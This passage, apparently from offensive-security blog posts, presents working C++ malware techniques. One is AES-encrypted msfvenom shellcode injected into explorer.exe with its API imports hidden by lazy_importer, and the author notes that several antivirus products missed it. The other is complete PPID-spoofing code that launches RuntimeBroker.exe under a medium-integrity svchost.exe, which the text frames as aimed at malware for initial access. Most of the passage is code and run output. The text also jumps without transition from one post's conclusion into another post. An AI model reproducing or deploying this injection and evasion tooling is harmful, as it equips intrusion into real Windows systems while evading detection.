	hThread = CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)baseAddress, nullptr, 0, nullptr);

	CloseHandle(hProcess);

	return 0;
}

Hiding Function Calls

Is there anything else that we can improve? Of course! If we analyze our binary, we can see that the functions we used (OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread and CloseHandle) are listed in the binary’s Import Address Table. This is a red flag since AVs look for a combination of these Windows APIs, which are commonly used for malicious purposes.

What we can do is remove this footprint by “hiding” these functions. And since we’re just noobs (again), we’ll use the open-source library JustasMasiulis/lazy_importer. Just like we did previously, simply import the file lazy_importer.hpp in our project and we’re good.

So here’s what the updated code looks like:

#include <Windows.h>
#include "include/aes.hpp"
#include "include/lazy_importer.hpp"

int main(int argc, char* argv[])
{
	// PID of explorer.exe
	DWORD pid = 5284;

	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
	unsigned char shellcode[] = "\x9c\xad\x1d\x5b\x52\x35\xdf\x9e\x15\xc3\xa4\x94\xb0\xf6\xd5\x1a\x14\x82\x9b\xc2\xc5\x40\x9e\x03\x45\xdf\x0d\x85\xfc\xff\xc2\xf7\x37\x84\x4b\xa1\x5f\x07\xa3\xf5\xd5\xe3\x54\xe4\x33\x84\x24\xf9\xaf\xbd\xc1\x53\xc9\x87\x4c\xc2\x12\xc7\x24\x6c\x22\xe9\x41\xb4\x47\x9c\xfa\x4c\x20\x8f\x57\x17\x29\x00\x10\x40\x83\xff\xc8\xfe\xa5\x87\x1f\xfd\xec\x30\x72\x07\x71\x59\xf8\x05\xda\x49\x12\xdf\x0a\xc5\xb8\x65\x99\x65\xfa\x5f\xc4\xc3\x8b\x40\x1e\xbe\xf1\x55\xde\x4f\x3a\x65\x2f\x14\xcc\x29\x9d\x7d\x17\xd0\x55\x99\x9e\xc3\x0d\xd7\xbb\xa3\x00\x34\x79\x32\xbe\x16\x66\xf6\xa4\xbc\xda\x40\x06\x7b\x8d\x56\x79\x6b\x21\x79\xd5\xf9\x55\x52\xe2\xd5\x8c\x34\xfd\x1c\x26\xc2\xf5\xd4\x6b\xca\xc3\x74\x91\x9d\xe4\xa2\xf4\x71\x42\x90\x2c\x6a\x11\x66\xf8\x56\x8f\x3c\x26\xa4\x27\x89\x6f\xc2\x02\x48\x53\xed\x08\x32\xa6\x48\x0f\x9a\x39\x0e\x5d\x38\xb4\xa2\x30\x6d\x27\x94\x80\x8c\x06\xa8\x86\x5f\x0b\xda\x44\x83\x51\x55\xfc\xb9\xe2\xcb\xbc\x95\xc8\xd6\x18\xd7\x1b\x04\x3d\xfb\x53\x9b\x57\xa8\xb2\xab\xe7\x27\x3b\xd2\xcb\x53\x20\x11\xcc\x5f\xaf\x31\xcf\xba\x83\xd7\xc7\xa8\xf7\x0c\x78\x6d\x7f\x46\x99\xd7\x33\x23";
	SIZE_T shellcodeSize = sizeof(shellcode);

	unsigned char key[] = "Captain.MeeloIsTheSuperSecretKey";
	unsigned char iv[] = "\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98";

	struct AES_ctx ctx;

	AES_init_ctx_iv(&ctx, key, iv);
	AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize);

	HANDLE hProcess;
	hProcess = LI_FN(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, pid);

	PVOID baseAddress;
	baseAddress = LI_FN(VirtualAllocEx)(hProcess, nullptr, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	LI_FN(WriteProcessMemory)(hProcess, baseAddress, shellcode, shellcodeSize, nullptr);

	HANDLE hThread;
	hThread = LI_FN(CreateRemoteThread)(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)baseAddress, nullptr, 0, nullptr);

	LI_FN(CloseHandle)(hProcess);

	return 0;
}

And if we examine again the binary’s Import Address Table, the Windows APIs used are now gone.

Detection Rate

How did our malware do after what we have done? Looks like we got a good result!

For a simple and lazily-written malware, I’m surprised that a number of AV vendors failed to detect it.

Conclusion

That’s it for this post! The objective here is to show how to write malware quickly and lazily, so we didn’t bother having a perfect detection rate.

Before I end it, let’s all thank and appreciate the people who are dedicating their spare time writing and open-sourcing tools, as well as those who keep sharing their knowledge and research. And if you can, please support and sponsor their work.

Also, if your organization rely on open-source offensive tooling, you can start with Porchetta Industries, which is founded by Marcello Salvati (@byt3bl33d3r), to support the developers.

When I started learning and implementing this technique, the first question that popped into my mind is what parent-child process relationship should I spoof.

Using Process Hacker, I noticed several instances of the RuntimeBroker.exe process running under the parent process svchost.exe. If this parent-child process relationship is common, then this is a good candidate for spoofing.

The Usual PPID Spoofing

To implement PPID Spoofing, the following code was used. The ggetPPID function is used to retrieve the PID of the parent process we want to spoof. In this case, we’re trying to get the PID of the svchost.exe process. The code then uses the WinAPI function CreateProcess to spawn a new process, which in our case is RuntimeBroker.exe.

#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

DWORD getPPID(LPCWSTR processName) {
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);

    if (Process32First(snapshot, &process)) {
        do {
            if (!wcscmp(process.szExeFile, processName))
                break;
        } while (Process32Next(snapshot, &process));
    }

    CloseHandle(snapshot);
    return process.th32ProcessID;
}

int main() {
    STARTUPINFOEX si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    SIZE_T attributeSize;

    InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);

    LPCWSTR parentProcess = L"svchost.exe";
    DWORD parentPID = getPPID(parentProcess);
    printf("[+] Spoofing %ws (PID: %u) as the parent process.\n", parentProcess, parentPID);

    HANDLE procHandle = OpenProcess(PROCESS_ALL_ACCESS, false, parentPID);
    if (!procHandle) {
        wchar_t errorMessage[256];
        FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), errorMessage, 255, NULL);
        printf("[!] Failed to get a handle with the following error: %ws\n", errorMessage);
        return -1;
    }
    printf("[+] Got a handle of 0x%p\n", procHandle);

    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &procHandle, sizeof(HANDLE), NULL, NULL);

    LPCWSTR spawnProcess = L"C:\\Windows\\System32\\RuntimeBroker.exe";
    CreateProcess(spawnProcess, NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (STARTUPINFO*)&si, &pi);
    printf("[+] Spawning %ws (PID: %u)\n", spawnProcess, pi.dwProcessId);

    return 0;
}

However, the code didn’t work as expected and we got an “Access is denied” error.

PS C:\Users\Meelo\Desktop> .\PickyPPIDSpoofing.exe
[+] Spoofing svchost.exe (PID: 860) as the parent process.
[!] Failed to get a handle with the following error: Access is denied.

Based on the output above, the code is trying to spoof svchost.exe with a PID of 860. And if we look at Process Hacker, this process has an integrity level of SYSTEM. Since we’re running as a standard user, with MEDIUM integrity level, we don’t have access to processes running with SYSTEM integrity level.

So how can we solve this? If we scroll down in Process Hacker, we can see some svchost.exe processes with an integrity level of MEDIUM.

Technically, this can be solved easily by hard-coding the PID of the parent process we’re targetting. In the image above, that would be 2740, 2824, or 4620. However, this is only applicable if we could get the PIDs of the processes running on the target system; which means we should already have access to our target.

This wouldn’t work if you’re implementing PPID Spoofing in your malware that will be used to gain initial access on your target.

The Picky PPID Spoofing

By analyzing the console output above, we can see that the getPPID function only returns the very first instance of svchost.exe (with a PID of 860), which has an integrity level of SYSTEM.

So to solve this issue, we have to add another function that would check the integrity level of each process. This is done using the following code, which uses the WinAPI function GetTokenInformation to retrieve information about the access token associated with a process. Then a comparison is made against well-known SIDs to identify the integrity level of the process.

LPCWSTR getIntegrityLevel(HANDLE hProcess) {
    HANDLE hToken;
    OpenProcessToken(hProcess, TOKEN_QUERY, &hToken);
    
    DWORD cbTokenIL = 0;
    PTOKEN_MANDATORY_LABEL pTokenIL = NULL;
    GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbTokenIL);
    pTokenIL = (TOKEN_MANDATORY_LABEL*)LocalAlloc(LPTR, cbTokenIL);
    GetTokenInformation(hToken, TokenIntegrityLevel, pTokenIL, cbTokenIL, &cbTokenIL);

    DWORD dwIntegrityLevel = *GetSidSubAuthority(pTokenIL->Label.Sid, 0);

    if (dwIntegrityLevel == SECURITY_MANDATORY_LOW_RID) {
        return L"LOW";
    }
    else if (dwIntegrityLevel >= SECURITY_MANDATORY_MEDIUM_RID && dwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID) {
        return L"MEDIUM";
    }
    else if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID) {
        return L"HIGH";
    }
    else if (dwIntegrityLevel >= SECURITY_MANDATORY_SYSTEM_RID) {
        return L"SYSTEM";
    }
}

This getIntegrityLevel function is used within the getPPID function so it will only return the PID of the parent process with a specific integrity level, which is MEDIUM in our case.

DWORD getPPID(LPCWSTR processName) {
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);

    if (Process32First(snapshot, &process)) {
        do {
            if (!wcscmp(process.szExeFile, processName)) {
                HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, process.th32ProcessID);
                if (hProcess) {
                    LPCWSTR integrityLevel = NULL;
                    integrityLevel = getIntegrityLevel(hProcess);
                    if (!wcscmp(integrityLevel, L"MEDIUM")) {
                        break;
                    }
                }
            }
        } while (Process32Next(snapshot, &process));
    }

    CloseHandle(snapshot);
    return process.th32ProcessID;
}

The Finally

Here’s what the final code looks like.

#include <windows.h>
#include <TlHelp32.h>
#include <stdio.h>

LPCWSTR getIntegrityLevel(HANDLE hProcess) {
    HANDLE hToken;
    OpenProcessToken(hProcess, TOKEN_QUERY, &hToken);
    
    DWORD cbTokenIL = 0;
    PTOKEN_MANDATORY_LABEL pTokenIL = NULL;
    GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbTokenIL);
    pTokenIL = (TOKEN_MANDATORY_LABEL*)LocalAlloc(LPTR, cbTokenIL);
    GetTokenInformation(hToken, TokenIntegrityLevel, pTokenIL, cbTokenIL, &cbTokenIL);

    DWORD dwIntegrityLevel = *GetSidSubAuthority(pTokenIL->Label.Sid, 0);

    if (dwIntegrityLevel == SECURITY_MANDATORY_LOW_RID) {
        return L"LOW";
    }
    else if (dwIntegrityLevel >= SECURITY_MANDATORY_MEDIUM_RID && dwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID) {
        return L"MEDIUM";
    }
    else if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID) {
        return L"HIGH";
    }
    else if (dwIntegrityLevel >= SECURITY_MANDATORY_SYSTEM_RID) {
        return L"SYSTEM";
    }
}

DWORD getPPID(LPCWSTR processName) {
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);

    if (Process32First(snapshot, &process)) {
        do {
            if (!wcscmp(process.szExeFile, processName)) {
                HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, process.th32ProcessID);
                if (hProcess) {
                    LPCWSTR integrityLevel = NULL;
                    integrityLevel = getIntegrityLevel(hProcess);
                    if (!wcscmp(integrityLevel, L"MEDIUM")) {
                        break;
                    }
                }
            }
        } while (Process32Next(snapshot, &process));
    }

    CloseHandle(snapshot);
    return process.th32ProcessID;
}

int main() {
    STARTUPINFOEX si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    SIZE_T attributeSize;

    InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);

    LPCWSTR parentProcess = L"svchost.exe";
    DWORD dwParentPID = getPPID(parentProcess);
    printf("[+] Spoofing %ws (PID: %u) as the parent process.\n", parentProcess, dwParentPID);

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, dwParentPID);
    if (!hProcess) {
        wchar_t errorMessage[256];
        FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), errorMessage, 255, NULL);
        printf("[!] Failed to get a handle with the following error: %ws\n", errorMessage);
        return -1;
    }
    printf("[+] Got a handle of 0x%p\n", hProcess);

    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProcess, sizeof(HANDLE), NULL, NULL);

    LPCWSTR spawnProcess = L"C:\\Windows\\System32\\RuntimeBroker.exe";
    CreateProcess(spawnProcess, NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (STARTUPINFO*)&si, &pi);
    printf("[+] Spawning %ws (PID: %u)\n", spawnProcess, pi.dwProcessId);

    return 0;
}

If we run this code, we got the following output.

PS C:\Users\Meelo\Desktop> .\PickyPPIDSpoofing.exe
[+] Spoofing svchost.exe (PID: 2740) as the parent process.
[+] Got a handle of 0x00000000000000AC
[+] Spawning C:\Windows\System32\RuntimeBroker.exe (PID: 772)

The main difference of this output from the previous one is the PID of svchost.exe has changed from 860 to 2740. We can also see that we’ve successfully obtained a process handle. As a result, RuntimeBroker.exe was spawned under the parent process of svchost.exe.